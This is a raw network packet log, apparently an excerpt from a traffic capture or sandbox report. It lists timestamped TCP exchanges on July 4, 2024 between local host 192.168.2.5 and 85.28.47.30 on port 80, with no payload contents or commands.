Jul 4, 2024 22:20:25.506818056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506829977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506840944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506864071 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.506880999 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.506964922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506977081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506988049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.507011890 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.507025957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.507025957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.507039070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.507049084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.507061005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.507070065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.507088900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.544358969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.544415951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.544426918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.544445992 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.544461012 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.544610023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.544620991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.544632912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.544642925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.544652939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.544656992 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.544671059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.544692993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.555480957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.555493116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.555502892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.555526972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.555540085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.555557013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.555574894 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.555628061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.555639029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.555649996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.555660963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.555680037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.555704117 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.555869102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.555886984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.555916071 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.555929899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.556009054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.556020021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.556030035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.556062937 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.556077957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.556258917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.556268930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.556304932 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.568259954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.568305969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.568315983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.568383932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.568464994 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.568586111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.568598986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.568689108 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.568723917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.568737030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.568747997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.568759918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.568763971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.568835020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.568873882 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.569113970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569166899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.569200039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569242954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.569314003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569325924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569338083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569350004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569365025 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.569386959 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.569701910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569715977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569726944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569739103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569755077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.569756985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569771051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569781065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.569785118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.569796085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.569822073 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.570338011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.570350885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.570363998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.570377111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.570384026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.570389032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.570399046 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.570404053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.570426941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.570456028 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.575773001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.575784922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.575795889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.575824022 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.575839996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.575866938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.575880051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.575891972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.575905085 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.575917006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.575917959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.575959921 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.575978041 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.577239990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.577287912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.577337027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.577349901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.577379942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.577402115 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.577420950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.577431917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.577442884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.577446938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.577474117 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.577490091 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.584209919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584255934 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.584294081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584304094 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584330082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.584337950 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.584409952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584462881 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.584471941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584548950 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.584563971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584574938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584584951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584605932 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.584625006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.584799051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584810972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584820986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584834099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584845066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584846020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.584857941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.584860086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.584882975 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.584907055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.587829113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.587877989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.587910891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.587922096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.587951899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.587951899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.588129997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.588140011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.588150024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.588160992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.588174105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.588200092 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.591548920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.591602087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.591613054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.591614962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.591635942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.591648102 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.591738939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.591749907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.591787100 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.591804028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.591815948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.591825008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.591850042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.591861963 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.604756117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.604820013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.604826927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.604839087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.604873896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.605026960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605037928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605048895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605061054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605071068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.605082989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.605101109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.605271101 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605315924 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.605401039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605412960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605422974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605436087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605447054 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.605448008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605460882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605463982 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.605473042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605484009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605488062 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.605506897 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.605515003 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.605956078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605967045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605978012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605988979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.605999947 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.606024981 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.638622046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.638698101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.638736963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.638748884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.638787031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.638874054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.638885021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.638895988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.638906956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.638923883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.638936043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.649229050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.649274111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.649283886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.649295092 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.649312973 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.649324894 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.649368048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.649379969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.649418116 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.649503946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.649548054 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.649558067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.649569035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.649579048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.649610996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.649768114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.649811983 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.649843931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.649856091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.649897099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.650063038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.650074959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.650085926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.650108099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.650120020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.662185907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662245035 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.662277937 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662290096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662447929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.662452936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662462950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662484884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662489891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.662512064 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.662519932 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.662755966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662798882 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.662831068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662842035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662882090 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.662914038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662924051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662934065 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662944078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.662971973 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.663111925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.663160086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663171053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663203955 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.663341999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663352966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663383007 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.663393974 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.663477898 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663487911 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663499117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663510084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663521051 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.663522005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663554907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.663592100 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.663863897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663876057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663887024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663899899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663911104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.663912058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663923979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.663933992 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.663947105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.663959980 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.673110008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.673120975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.673131943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.673171997 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.673187971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.673214912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.673266888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.673299074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.673310041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.673327923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.673338890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.673345089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.673388004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.673388004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.674379110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.674391031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.674401999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.674422979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.674446106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.674547911 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.674559116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.674568892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.674585104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.674597979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.674611092 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.674633026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.684355021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.684412003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.684422016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.684427977 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.684458017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.684469938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.684520960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.684525967 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.684560061 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.684657097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.684668064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.684679031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.684690952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.684700012 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.684704065 CEST	80	49704	85.28.47.30	192.168.2.5
